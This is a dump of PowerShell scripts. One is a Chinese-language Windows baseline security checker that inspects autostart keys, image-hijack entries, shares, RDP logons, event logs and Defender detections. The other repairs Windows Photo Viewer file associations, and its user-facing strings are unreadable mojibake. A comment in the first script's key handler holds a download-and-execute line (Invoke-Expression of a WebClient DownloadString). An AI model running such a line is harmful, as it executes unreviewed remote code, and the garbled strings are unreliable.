$_.TaskName -notlike "*Microsoft*" } ` | Get-ScheduledTaskInfo | Select-Object TaskName, LastRunTime, NextRunTime | Format-table Write-Host "--- 系统级软件自启检查 (Run) ---`n" -ForegroundColor Yellow Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue ` | Select-Object * -ExcludeProperty PSPath, PSChildName, PSDrive, PSParentPath, PSProvider, *Microsoft* | Format-List Write-Host "--- 用户级软件自启检查 (Run) ---`n" -ForegroundColor Yellow Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue ` | Select-Object * -ExcludeProperty PSPath, PSChildName, PSDrive, PSParentPath, PSProvider, *Microsoft* | Format-List Write-Host "--- 系统级与用户级软件只生效一次自启的检查 (RunOnce) ---`n" -ForegroundColor Yellow # 系统级 HKLM $run_once_path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" if ((-not (Test-Path $run_once_path)) -or ($null -eq (Get-ItemProperty -Path $run_once_path))) { # Write-Warning "未找到 RunOnce 属性。" Write-Host "没有发现系统级的一次性自启项`n" -ForegroundColor Green } else { Get-ItemProperty -Path $run_once_path ` | Select-Object * -ExcludeProperty PSPath, PSChildName, PSDrive, PSParentPath, PSProvider, *Microsoft* | Format-List } # 用户级 HKCU if (-not (Test-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce")) { Write-Host "没有发现用户级的一次性自启项`n" -ForegroundColor Green } else { Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" ` | Select-Object * -ExcludeProperty PSPath, PSChildName, PSDrive, PSParentPath, PSProvider, *Microsoft* | Format-List } Write-Host "--- 检查是否存在评估版自动重启设置注册表(企业版) ---`n" -ForegroundColor Yellow if (Test-Path -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WLMS") { $result = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WLMS" Write-Host "windows 系统每隔一段时间会自动关机解决办法:" -ForegroundColor Yellow -NoNewline Write-Host "http://www.yvsy.com/501.html" -ForegroundColor Blue $result | Select-Object ImagePath, Start | Format-List } else { Write-Host "没有评估版的相关注册表`n" -ForegroundColor Green } Write-Host "--- 恶意映像劫持检查 ---`n" -ForegroundColor Yellow $result = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" | Where-Object { $_.debugger -eq "\" } if ($null -eq $result) { Write-Host "没有恶意映像劫持的注册表`n" -ForegroundColor Green }else { $result|Select-Object{$_.PSPath}|Format-List } Write-Host "`n--- 禁用证书检查 ---`n" -ForegroundColor Yellow # Get-ChildItem -Path 'Cert:\LocalMachine\Root' | Format-List * $result = Get-ChildItem -Path 'Cert:\LocalMachine\Disallowed' | Select-Object Subject, PSPath, NotBefore, NotAfter, Thumbprint if ($null -eq $result) { Write-Host "没有禁用证书检查设置`n" -ForegroundColor Green }else { $result|Format-List } Write-Host "`n--- 检查系统核心文件是否被 Deny ---`n" -ForegroundColor Yellow Write-Host "主机正常情况下存有该四项:FxsTmp、Recovery、SleepStudy、WDI(虚拟机无FxsTmp)`n" $result = Get-Acl -Path C:\Windows\System32\*|Where-Object{$_.AccessToString -like "*Deny*"}|Select-Object Path if ($null -eq $result) { Write-Host "没有找到相关记录,注意检查是否以管理员运行脚本`n" -ForegroundColor DarkMagenta }else { $result|Format-List } Write-Host "### 检查设备安全性、近期升级补丁、定时任务项、证书策略、系统核心文件控制访问状况,已完成`n" -ForegroundColor Green } # 共享检查(包括:共享端口、共享文件) function check_share { Write-Host " " Write-Host "### 检查主机主动共享安全概况(仅做基础性检测:默认端口、共享文件) ###`n" -ForegroundColor Cyan Write-Host "--- 检测防火墙是否开启(为了方便查看) ---" -ForegroundColor Yellow Get-NetFirewallProfile | Select-Object Name, Enabled | Out-Host Write-Host "--- 检查主机访问局域网资源的smb 1.0功能是否开启 ---" -ForegroundColor Yellow Get-WindowsOptionalFeature -Online | Where-Object FeatureName -eq "SMB1Protocol" | Out-Host Write-Host "--- 检查主机是否存在用smb共享文件给其他电脑 ---`n" -ForegroundColor Yellow # https://support.microsoft.com/zh-cn/windows/在-windows-中通过网络共享文件-b58704b2-f53a-4b82-7bc1-80f9994725bf Write-Host "SMB服务检测" Get-Service | Where-Object { $_.Name -match 'LanmanServer' } | Out-Host $result = Get-SmbShare | Select-Object Name, Path, Description if ($result) { $result | Out-Host } else { Write-Host "没有发现共享文件。`n" -ForegroundColor Green } Write-Host "--- 检查主机是否存在ftp共享服务 ---" -ForegroundColor Yellow # https://juejin.cn/s/windows查看ftp服务是否开启 $result = Get-Service | Where-Object { $_.Name -match 'ftp' } if ($result) { $result | Out-Host } else { Write-Host "`n没有发现主动的FTP服务。`n" -ForegroundColor Green } Write-Host "--- 远程桌面处于打开状态:0 打开,1 关闭 ---" -ForegroundColor Yellow Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" | Select-Object fDenyTSConnections | Out-Host # 远程桌面服务 Get-Service | Where-Object { $_.Name -match 'TermService' } | Out-Host Write-Host "--- 检查一个月内是否发生可疑的远程桌面(RDP)登录行为 ---`n" -ForegroundColor Yellow $result = Get-WinEvent -FilterHashtable @{ LogName = 'Security'; ID = 4624, 4625; StartTime = (Get-Date).Date.AddDays(-30); Message = '*远程桌面*' } -ErrorAction SilentlyContinue if ($result) { $result | Out-GridView -Title "可疑的远程桌面(RDP)行为记录表" } else { Write-Host "近30天内未曾发生可疑的远程桌面登录行为。`n" -ForegroundColor Green } Write-Host "### 防御检查(包括:共享端口、共享文件),已完成`n" -ForegroundColor Green } # 事件查询 function check_key_events { Write-Host " " Write-Host "### 检查电脑休眠、开关机、程序崩溃等事件 ###`n" -ForegroundColor Cyan # 查看本地用户及用户组 Write-Host "--- 查看本地用户状态 ---`n" -ForegroundColor Yellow localuser | Out-Host Get-LocalGroupMember -Group Administrators | Out-Host Write-Host "--- 检查密码未设置的本地用户 ---`n" -ForegroundColor Yellow Get-LocalUser | Where-Object { $null -eq $_.Password } | Select-Object Name | Out-Host # 新增:独立检查系统睡眠状态 # 休眠与睡眠的区别:https://www.cnblogs.com/fatherofbeauty/p/16351107.html Write-Host "--- 检查是否开启睡眠功能。 (交流:接通电源;直流:用电池)---`n" -ForegroundColor Yellow Write-Host '注:如果是台式机、虚拟机可忽略“关闭或打开盖子功能”的信息内容' -ForegroundColor Green powercfg -q SCHEME_BALANCED SUB_SLEEP STANDBYIDLE; powercfg -q SCHEME_BALANCED SUB_BUTTONS | Out-Host Write-Host "--- 最近两周的重启频次 ---" -ForegroundColor Yellow # 参考:[codeantenna - windows系统日志开关机、重启日志事件](https://codeantenna.com/a/QEcwIkyexa) # 当有多个ID描述一个词汇时,注意检查 Message 属性,对其的细微区分 $result = Get-WinEvent -FilterHashtable @{ LogName = 'System' ProviderName = 'User32' Id = 1074 StartTime = (Get-Date).Date.AddDays(-14) } if ($result) { $result | Out-Host $sum = ($result | Measure-Object).Count Write-Host "重启总计:"$sum, "次;平均每天重启:"$([math]::Round($sum / 14, 2)),"次" -ForegroundColor Green # 计算每天的重启次数并找到最大值 $dateCounts = @{} foreach ($event in $result) { # 转成字符串,只保留日期部分 $date = $event.TimeCreated.ToShortDateString() # 如果日期已存在,次数加1,否则初始化为1 if ($dateCounts.Contains($date)) { $dateCounts[$date] += 1 } else { $dateCounts[$date] = 1 } } # 找到最大值 $maxDate = ($dateCounts.GetEnumerator() | Sort-Object -Property Value -Descending | Select-Object -First 1).Name $maxCount = $dateCounts[$maxDate] Write-Host "重启最多次数的日期: $maxDate, 以及该天重启次数: $maxCount" -ForegroundColor Cyan } else { Write-Host "没有找到最近14天的重启数据。"-ForegroundColor DarkRed } # 41 非正常开机,6008 异常关机 Write-Host "`n--- 最近2周内是否存在非正常开机与异常关机 ---`n" -ForegroundColor Yellow $result = Get-WinEvent -FilterHashtable @{ LogName = 'System' Id = 41, 6008 StartTime = (Get-Date).Date.AddDays(-14) } -ErrorAction SilentlyContinue if ($result) { # $result | Out-GridView -Title "最近2周内是否存在非正常开机与异常关机" $result | Out-Host } else { Write-Host "最近2周手动开关机操作,正常。`n" -ForegroundColor Green } Write-Host "--- 最近7天内是否存在蓝屏或崩溃现象 ---`n" -ForegroundColor Yellow # https://social.microsoft.com/Forums/zh-CN/068ccdf2-96f4-484d-a5cb-df05f59e1959/win1020107202142659730475221202010720214id1000652921001?forum=window7betacn $result = Get-WinEvent -FilterHashtable @{ LogName = 'System' Id = 1001 # 事件ID 1001对应多个LogName,而每个LogName对1001定位的级别,也各不相同。 StartTime = (Get-Date).Date.AddDays(-7) } -ErrorAction SilentlyContinue if ($result) { $result | Out-Host } else { Write-Host "近7天内未曾出现蓝屏或崩溃现象。`n" -ForegroundColor Green } shoudong_check Write-Host "`n### 检查电脑休眠、开关机、程序崩溃等事件,已完成`n" -ForegroundColor Green } # 手动输入检查 function shoudong_check{ Write-Host "--- 输入时间段,并检查与当前时间点,是否有异常警告和错误事件 ---`n" -ForegroundColor Yellow do { # 获取用户输入的日期和时间 $dateTimeString = Read-Host "请输入日期和时间,格式为 yyyy-MM-dd HH:mm(如:2023-06-09 13:01)或者输入 K 跳过" if ($dateTimeString -eq 'K' -or $dateTimeString -eq 'k') { Write-Host "已跳过。" -ForegroundColor Yellow return } try { # 使用 Get-Date 尝试将字符串转换为日期时间对象 $startTime = Get-Date $dateTimeString break } catch { # 如果转换失败,则提示用户重新输入 Write-Host "输入的格式无效,请重新输入。" -ForegroundColor Yellow } } while ($true) # 构建筛选条件并获取异常事件 $filter = @{ LogName = 'Application', 'System', 'Security' StartTime = $startTime } $events = Get-WinEvent -FilterHashtable $filter -ErrorAction SilentlyContinue ` | Where-Object { $_.LevelDisplayName -in "错误", "警告", "关键" } if ($events) { $events | Out-GridView -Title "近期及当前异常警告和错误事件分析表" } else { Write-Host "未找到任何异常事件。" -ForegroundColor Green } } # 生成基线检查报表 function try_csv_xlsx { Write-Host " " Write-Host '### 生成"设备信息"、"事件汇总"、"活动记录"、"Windows defender威胁概况"分析报表 ###' -ForegroundColor Cyan; Write-Host " " # 检查 PowerShell 版本是否支持 ImportExcel 模块 if ($PSVersionTable.PSVersion.Major -lt 5) { Write-Host "当前 PowerShell 版本不支持 ImportExcel 模块,请更新至 PowerShell 5 及以上版本。" -ForegroundColor Red return } # 尝试安装 ImportExcel 模块 try { if (!(Get-Module -Name ImportExcel -ListAvailable)) { Install-Module ImportExcel -Force } } catch { Write-Host "安装 ImportExcel 模块失败,请确保所用网络处于正常联网状态:" -ForegroundColor Red Write-Host $_.Exception.Message -ForegroundColor Red return } # 获取当前用户的桌面目录路径,比 ${env:username}/desktop 具有可移植性。 $desktop_path = [Environment]::GetFolderPath('Desktop') $report_path = Join-Path $desktop_path ((Get-Date).ToString('yyyy-MM-dd') + '基线检查报表.xlsx') Write-Host "`n设备信息、预警事件汇总,正在生成中,请耐心等待几分钟时间... `n" -ForegroundColor Yellow # 驱动信息 # -ErrorAction SilentlyContinue $result = Get-PnpDevice | Select-Object ` Class, FriendlyName, Problem, ` Status, ConfigManagerUserConfig, SystemName, ` ClassGuid, Manufacturer, Present, Service if ($result) { $result | Export-Excel -Path $report_path -WorksheetName "载体驱动信息" Write-Host "驱动信息汇总已完成" -ForegroundColor Green } else { Write-Host '未查询到任何匹配信息,请检查账户权限、事件日志等设置问题。' } # Write-Host "`n正在生成截止目前的当天重要事件统计...`n" -ForegroundColor Yellow # # 事件ID,见:https://github.com/hoochanlon/scripts/blob/main/BITRH/Win10_Events_ID_useful.xlsx # $result = Get-WinEvent -FilterHashtable @{ # LogName = 'Application', 'System', 'Security' # StartTime = (Get-Date).Date # } | Where-Object { $_.LevelDisplayName -in "错误", "警告", "关键" # } | Select-Object Message, Id, Level, ProviderName, LogName, ` # TimeCreated, LevelDisplayName | Where-Object { # $_.LevelDisplayName -in "错误","警告","关键" ` # -and $_.Id -notin 134, 1014, 8233, 10010, 10016, 6155 ` # -or $_.Id -in 4648, 4634, 4199, 6013, 4803, 4802, 4800, 4801 # } Write-Host "`n正在统计五天内截止目前的重要事件,时间较长请耐心等待...`n" -ForegroundColor Yellow # 事件ID,见:https://github.com/hoochanlon/scripts/blob/main/BITRH/Win10_Events_ID_useful.xlsx # 后续参考:https://learn.microsoft.com/en-us/answers/questions/961608/event-id-6155-(the-lsa-package-is-not-signed-as-ex $elapsedTime = (Measure-Command { $result = Get-WinEvent -FilterHashtable @{ LogName = 'Application', 'System', 'Security' StartTime = (Get-Date).Date.AddDays(-5).AddHours(8.5) EndTime = (Get-Date) } | Where-Object { $_.LevelDisplayName -in "错误","关键" } | Select-Object Id, Level, ProviderName, LogName, ` TimeCreated, LevelDisplayName, Message, @{Name="TaskDisplayName"; Expression={If($_.TaskDisplayName){$_.TaskDisplayName}else{'N/A'}}} if ($result) { $result | Export-Excel -Path $report_path -WorksheetName '预警事件汇总' } else { Write-Host '近五天内,没有发现有关“警告”、“错误”、“关键”等报警信息(一切正常,故不生成该项报表)。' -ForegroundColor Green } }).TotalSeconds Write-Host "筛选统计五天内重要事件,用时 ${elapsedTime} 秒。" -ForegroundColor Yellow Write-Host "`n 追加:一周 logon/logoff 活动时间记录、三天系统电源使用报告 `n" $result = Get-WinEvent -FilterHashtable @{ LogName = 'Application', 'System', 'Security' StartTime = (Get-Date).Date.AddDays(-7) } | Where-Object { ($_.Id -in 4648, 4634) } |Select-Object MachineName, Id, Level, ProviderName, LogName, ` TimeCreated, ContainerLog, LevelDisplayName, TaskDisplayName if ($result) { $result | Export-Excel -Path $report_path -WorksheetName "登出与登录" } else { Write-Host '未找到任何匹配条目,请检查系统权限、事件日志等设置问题。' -ForegroundColor Red } powercfg /spr /duration 3 # sqllite 结合 Get-MpThreatDetection 和 Get-MpThreat 才能得到理想数据。 # 正好先用Excel来导入 Get-MpThreatDetection 与 Get-MpThreat 安全信息统计。 # 最近 30 天内的威胁检测记录 Write-Host " " Write-Host '正在检测已存威胁,并生成月度概况报表(如果没有,将不生成该项报表)' -ForegroundColor Yellow $result = Get-MpThreatDetection ` | Select-Object ActionSuccess, CurrentThreatExecutionStatusID, ` DetectionID, DetectionSourceTypeID, DomainUser, InitialDetectionTime, LastThreatStatusChangeTime, ` ProcessName, ThreatID, ThreatStatusID if ($result) { $result | Export-Excel -Path $report_path -WorksheetName "威胁记录检测" } else { Write-Host '未检测出威胁事件。可能原因:第三方杀软接管,或者未开启 Windows defender。' -ForegroundColor Magenta } # 最近 30 天内的威胁类别 $result = Get-MpThreat ` | Select-Object CategoryID, DidThreatExecute, IsActive, RollupStatus, ` SeverityID, ThreatID, ThreatName if ($result) { $result | Export-Excel -Path $report_path -WorksheetName "威胁类别详情" } else { Write-Host '未检测出威胁事件。可能原因:第三方杀软接管,或者未开启 Windows defender。' -ForegroundColor Magenta } Write-Host " " Write-Host '### 基线检查报表已生成,请在桌面位置查阅。' -ForegroundColor Green; Write-Host "`n" } # switch function select_option { # 使用说明 sel_man $valid_option = $true $has_checked_sys = $false while ($valid_option) { # 虚拟按键code与对应键盘项参考 # https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes $key = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode switch ($key) { { $_ -in 49, 97 } { # 数字键 1 和 数字键小键盘 1 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } check_ip } { $_ -in 50, 98 } { # 数字键 2 和 数字键小键盘 2 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } check_printer } { $_ -in 51, 99 } { # 数字键 3 和 数字键小键盘 3 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } check_disk_cpu_mem } { $_ -in 52, 100 } { # 数字键 4 和 数字键小键盘 4 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } check_fw } { $_ -in 53, 101 } { # 数字键 5 和 数字键小键盘 5 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } check_share } { $_ -in 54, 102 } { # 数字键 6 和 数字键小键盘 6 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } check_key_events } { $_ -in 55, 103 } { # 数字键 7 和 数字键小键盘 7 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } check_ip check_printer check_fw check_disk_cpu_mem check_key_events } { $_ -in 56, 104 } { # 数字键 8 和 数字键小键盘 8 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } try_csv_xlsx } { $_ -in 57, 105 } { # 数字键 9 和 数字键小键盘 9 if (!$has_checked_sys) { check_sys $has_checked_sys = $true } dev_man } 191 { # 键盘 /? # 远程调用 # Invoke-Expression ((New-Object Net.WebClient).DownloadString($url));$function sel_man } Default { # $valid_option = $false continue } } } } select_option ================================================ FILE: d-pwsh/photoview.ps1 ================================================ # Ƭ鿴޸ - PowerShell 汾 # Ϊ PhotoViewerFix.ps1 # ԱȨ function Test-Administrator { $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()) return $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) } # ʾ˵ function Show-Menu { Clear-Host Write-Host "========================================" -ForegroundColor Cyan Write-Host " Windows Ƭ鿴޸" -ForegroundColor Yellow Write-Host "========================================" -ForegroundColor Cyan Write-Host "" Write-Host "ѡ" -ForegroundColor White Write-Host "" Write-Host " 1. þƬӦãƼ" -ForegroundColor Green Write-Host " 2. win10ϰ汾ĬƬӦ" -ForegroundColor cyan Write-Host " 3. 鵱ǰ״̬" -ForegroundColor Gray Write-Host " 4. ָϵͳĬϴӡʽɾsRGB" -ForegroundColor Yellow Write-Host " 5. Agfa״̬sRGB=RSWOP.icm" -ForegroundColor Magenta Write-Host " 6. ˳" -ForegroundColor Red Write-Host "" Write-Host "========================================" -ForegroundColor Cyan Write-Host "" } # һȫ޸ function Method1-FullFix { Clear-Host Write-Host "һȫ޸" -ForegroundColor Green Write-Host "========================================" -ForegroundColor Cyan # ļǷ $photoViewerPath = "$env:ProgramFiles\Windows Photo Viewer\PhotoViewer.dll" if (-not (Test-Path $photoViewerPath)) { Write-Host "[] δҵ PhotoViewer.dll" -ForegroundColor Red Write-Host " Windows.old Windows ϵͳƴļ" Write-Host $photoViewerPath Write-Host "" Read-Host "س..." return } Write-Host "[1/7] ڼļ..." -ForegroundColor Yellow Write-Host " PhotoViewer.dll : $photoViewerPath" -ForegroundColor Green # ˵Windows 10/11 ԡĬӦá UserChoice Hash ű޷ɿǿΪĬϡ # ߻ѡWindows Ƭ鿴עᵽĬӦáбɵûѡֶȷһΡ # ޸ HKCR Ȩ⣨ʹ .NET Write-Host "[2/7] ޸עȨ..." -ForegroundColor Yellow try { # 1ʹ .NET RegistryKey $regPath = "Applications\photoviewer.dll\shell\open\command" $registryKey = [Microsoft.Win32.Registry]::ClassesRoot.OpenSubKey($regPath, $true) if ($registryKey -eq $null) { $registryKey = [Microsoft.Win32.Registry]::ClassesRoot.CreateSubKey($regPath) } $registryKey.SetValue("", """$env:SystemRoot\System32\rundll32.exe"" ""$env:ProgramFiles\Windows Photo Viewer\PhotoViewer.dll"", ImageView_Fullscreen %1") $registryKey.Close() Write-Host " HKCR עóɹ" -ForegroundColor Green } catch { Write-Host " HKCR Ȩ޲㣬û޸..." -ForegroundColor Yellow } # û޸ Write-Host "[3/7] û..." -ForegroundColor Yellow # ûƬ鿴 $userPhotoViewerPath = "HKCU:\Software\Classes\Applications\photoviewer.dll\shell\open\command" New-Item -Path $userPhotoViewerPath -Force | Out-Null Set-ItemProperty -Path $userPhotoViewerPath -Name "(default)" -Value """$env:SystemRoot\System32\rundll32.exe"" ""$env:ProgramFiles\Windows Photo Viewer\PhotoViewer.dll"", ImageView_Fullscreen %1" # ļͶ $tiffPath = "HKCU:\Software\Classes\PhotoViewer.FileAssoc.Tiff" New-Item -Path $tiffPath -Force | Out-Null Set-ItemProperty -Path $tiffPath -Name "(default)" -Value "Windows Ƭ鿴" $tiffIconPath = "$tiffPath\DefaultIcon" New-Item -Path $tiffIconPath -Force | Out-Null Set-ItemProperty -Path $tiffIconPath -Name "(default)" -Value "$env:SystemRoot\System32\imageres.dll,-70" $tiffCommandPath = "$tiffPath\shell\open\command" New-Item -Path $tiffCommandPath -Force | Out-Null Set-ItemProperty -Path $tiffCommandPath -Name "(default)" -Value """$env:SystemRoot\System32\rundll32.exe"" ""$env:ProgramFiles\Windows Photo Viewer\PhotoViewer.dll"", ImageView_Fullscreen %1" Write-Host " ûóɹ" -ForegroundColor Green # עᵽϵͳĬӦáб -> ĬӦ  Write-Host " עᵽϵͳĬӦб..." -ForegroundColor Yellow try { $regAppsPath = "HKLM:\SOFTWARE\RegisteredApplications" $capRoot = "HKLM:\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities" $capFileAssoc = "$capRoot\FileAssociations" New-Item -Path $capRoot -Force | Out-Null New-Item -Path $capFileAssoc -Force | Out-Null # Ӧʾ New-ItemProperty -Path $capRoot -Name "ApplicationName" -Value "Windows Ƭ鿴" -PropertyType String -Force | Out-Null New-ItemProperty -Path $capRoot -Name "ApplicationDescription" -Value "Windows Ƭ鿴" -PropertyType String -Force | Out-Null # Щչָ PhotoViewer.FileAssoc.Tiffűǰ HKCU $capExts = @(".jpg", ".jpeg", ".png", ".bmp", ".gif", ".tif", ".tiff") foreach ($ext in $capExts) { New-ItemProperty -Path $capFileAssoc -Name $ext -Value "PhotoViewer.FileAssoc.Tiff" -PropertyType String -Force | Out-Null } # עӦ· New-ItemProperty -Path $regAppsPath -Name "Windows Photo Viewer" -Value "SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities" -PropertyType String -Force | Out-Null Write-Host " ϵͳĬӦעɹ" -ForegroundColor Green } catch { Write-Host " ϵͳĬӦעʧܣȨ޲/ƣ$($_.Exception.Message)" -ForegroundColor Yellow } # ͼƬʽ Write-Host "[4/7] ڹͼƬʽ..." -ForegroundColor Yellow $imageFormats = @(".jpg", ".jpeg", ".png", ".bmp", ".gif", ".tif", ".tiff") foreach ($format in $imageFormats) { $formatPath = "HKCU:\Software\Classes\$format" New-Item -Path $formatPath -Force | Out-Null Set-ItemProperty -Path $formatPath -Name "(default)" -Value "PhotoViewer.FileAssoc.Tiff" # $contentType = switch ($format) { ".jpg" { "image/jpeg" } ".jpeg" { "image/jpeg" } ".png" { "image/png" } ".bmp" { "image/bmp" } ".gif" { "image/gif" } ".tif" { "image/tiff" } ".tiff" { "image/tiff" } default { $null } } if ($contentType) { Set-ItemProperty -Path $formatPath -Name "Content Type" -Value $contentType | Out-Null } # ӵ򿪷ʽбֻҪڼɣֵΪַֹ null $openWithPath = "$formatPath\OpenWithProgids" New-Item -Path $openWithPath -Force | Out-Null New-ItemProperty -Path $openWithPath -Name "PhotoViewer.FileAssoc.Tiff" -Value "" -PropertyType String -Force | Out-Null } Write-Host " ͼƬʽɹ" -ForegroundColor Green # ûѡ Write-Host "[5/7] ûĬѡ..." -ForegroundColor Yellow $extensions = @(".jpg", ".jpeg", ".png", ".bmp", ".gif", ".tif", ".tiff") foreach ($ext in $extensions) { $userChoicePath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\$ext\UserChoice" if (Test-Path $userChoicePath) { # ֱɾ UserChoice ֻɾ Progid Ч Windows Կ Hash ɣ Remove-Item -Path $userChoicePath -Recurse -Force -ErrorAction SilentlyContinue } } Write-Host " ûѡ" -ForegroundColor Green # ʹ cmd ù Write-Host "[6/7] ʹϵͳù..." -ForegroundColor Yellow Start-Process -FilePath "cmd.exe" -ArgumentList "/c assoc .jpg=PhotoViewer.FileAssoc.Tiff" -Wait -WindowStyle Hidden Start-Process -FilePath "cmd.exe" -ArgumentList "/c assoc .jpeg=PhotoViewer.FileAssoc.Tiff" -Wait -WindowStyle Hidden Start-Process -FilePath "cmd.exe" -ArgumentList "/c assoc .png=PhotoViewer.FileAssoc.Tiff" -Wait -WindowStyle Hidden Start-Process -FilePath "cmd.exe" -ArgumentList "/c ftype PhotoViewer.FileAssoc.Tiff=""%SystemRoot%\System32\rundll32.exe"" ""%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll"", ImageView_Fullscreen %%1" -Wait -WindowStyle Hidden Write-Host " ϵͳִгɹ" -ForegroundColor Green # Դ Write-Host "[7/7] Դ..." -ForegroundColor Yellow Stop-Process -Name "explorer" -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 Start-Process "explorer.exe" Write-Host "" Write-Host "========================================" -ForegroundColor Cyan Write-Host "޸ɣ" -ForegroundColor Green Write-Host "" Write-Host "ִ²" -ForegroundColor Yellow Write-Host "1. -> Ӧ -> ĬӦ" Write-Host "2. ҵǰġƬ鿴ĬʾΪƬ" Write-Host "3. ѡWindows Ƭ鿴" Write-Host "4. ߣҼͼƬ -> 򿪷ʽ -> ѡӦ -> ѡʼʹôӦá" Write-Host "" Write-Host "ûп'Windows Ƭ鿴'볢ԣ" Write-Host "- 'Ӧ'" Write-Host "- ײ'̨ϲӦ'" Write-Host "- : C:\Windows\System32\rundll32.exe" Write-Host "- Ϊ'WindowsƬ鿴'" Write-Host "" Write-Host "Ϊ򿪡ĬӦáôڣֱѡ" -ForegroundColor Yellow try { Start-Process "ms-settings:defaultapps" -ErrorAction Stop } catch { # ɰ屸 Start-Process "control.exe" "/name Microsoft.DefaultPrograms" -ErrorAction SilentlyContinue } Write-Host "" Read-Host "س˵..." } # ģָĬƬӦ function Method4-RestoreDefault { Clear-Host Write-Host "ģָĬƬӦ" -ForegroundColor Blue Write-Host "========================================" -ForegroundColor Cyan Write-Host "棺⽫ָ Windows 10/11 ĬƬӦ" -ForegroundColor Red Write-Host "" $confirm = Read-Host "ȷҪָĬ(Y/N)" if ($confirm -ne "Y" -and $confirm -ne "y") { return } Write-Host "" Write-Host "ڻָĬ..." -ForegroundColor Yellow # û $imageFormats = @(".jpg", ".jpeg", ".png", ".bmp", ".gif", ".tif", ".tiff") foreach ($format in $imageFormats) { $userChoicePath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\$format\UserChoice" if (Test-Path $userChoicePath) { Remove-ItemProperty -Path $userChoicePath -Name "Progid" -ErrorAction SilentlyContinue } # ɾûĹ $formatPath = "HKCU:\Software\Classes\$format" if (Test-Path $formatPath) { Remove-Item -Path $formatPath -Recurse -Force -ErrorAction SilentlyContinue } } # ɾƬ鿴 $photoViewerPath = "HKCU:\Software\Classes\Applications\photoviewer.dll" if (Test-Path $photoViewerPath) { Remove-Item -Path $photoViewerPath -Recurse -Force -ErrorAction SilentlyContinue } $tiffPath = "HKCU:\Software\Classes\PhotoViewer.FileAssoc.Tiff" if (Test-Path $tiffPath) { Remove-Item -Path $tiffPath -Recurse -Force -ErrorAction SilentlyContinue } # ù Start-Process -FilePath "cmd.exe" -ArgumentList "/c assoc .jpg=jpegfile" -Wait -WindowStyle Hidden Start-Process -FilePath "cmd.exe" -ArgumentList "/c assoc .png=pngfile" -Wait -WindowStyle Hidden Write-Host "Ϊ򿪡ĬӦáôڣֱѡ" -ForegroundColor Yellow try { Start-Process "ms-settings:defaultapps" -ErrorAction Stop } catch { # ɰ屸 Start-Process "control.exe" "/name Microsoft.DefaultPrograms" -ErrorAction SilentlyContinue } Write-Host "" Read-Host "س˵..." } # 鵱ǰ״̬ function Method5-CheckStatus { Clear-Host Write-Host "鵱ǰ״̬" -ForegroundColor Gray Write-Host "========================================" -ForegroundColor Cyan Write-Host "" # ļ Write-Host "1. ļ飺" -ForegroundColor Yellow $photoViewerPath = "$env:ProgramFiles\Windows Photo Viewer\PhotoViewer.dll" if (Test-Path $photoViewerPath) { Write-Host " [] PhotoViewer.dll " -ForegroundColor Green } else { Write-Host " [] PhotoViewer.dll " -ForegroundColor Red } # ע Write-Host "" Write-Host "2. ע飺" -ForegroundColor Yellow # û $userPhotoViewerPath = "HKCU:\Software\Classes\Applications\photoviewer.dll" if (Test-Path $userPhotoViewerPath) { Write-Host " [] ûƬ鿴ע" -ForegroundColor Green } else { Write-Host " [] ûƬ鿴δע" -ForegroundColor Red } # ļ Write-Host "" Write-Host "3. ļ飺" -ForegroundColor Yellow $testFormats = @(".jpg", ".png") foreach ($format in $testFormats) { $formatPath = "HKCU:\Software\Classes\$format" if (Test-Path $formatPath) { $value = Get-ItemProperty -Path $formatPath -Name "(default)" -ErrorAction SilentlyContinue if ($value."(default)" -eq "PhotoViewer.FileAssoc.Tiff") { Write-Host " [] $format Ƭ鿴" -ForegroundColor Green } else { Write-Host " [!] $format " -ForegroundColor Yellow } } else { Write-Host " [ ] $format û" -ForegroundColor Gray } } # Ĭϳ Write-Host "" Write-Host "4. Ĭϳ飺" -ForegroundColor Yellow $userChoicePath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.jpg\UserChoice" if (Test-Path $userChoicePath) { $progId = Get-ItemProperty -Path $userChoicePath -Name "Progid" -ErrorAction SilentlyContinue if ($progId) { Write-Host " [!] .jpg ûѡ: $($progId.Progid)" -ForegroundColor Yellow } } else { Write-Host " [] .jpg ʹϵͳĬ" -ForegroundColor Green } # ɫģʽ Write-Host "" Write-Host "5. ɫģʽ飺" -ForegroundColor Yellow $regPath = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\RegisteredProfiles" if (-not (Test-Path $regPath)) { Write-Host " [] ʹϵͳĬɫ" -ForegroundColor Green Write-Host " [˵] ӡ" -ForegroundColor Gray } else { $sRGBValue = Get-ItemProperty -Path $regPath -Name "sRGB" -ErrorAction SilentlyContinue if ($sRGBValue) { if ($sRGBValue.sRGB 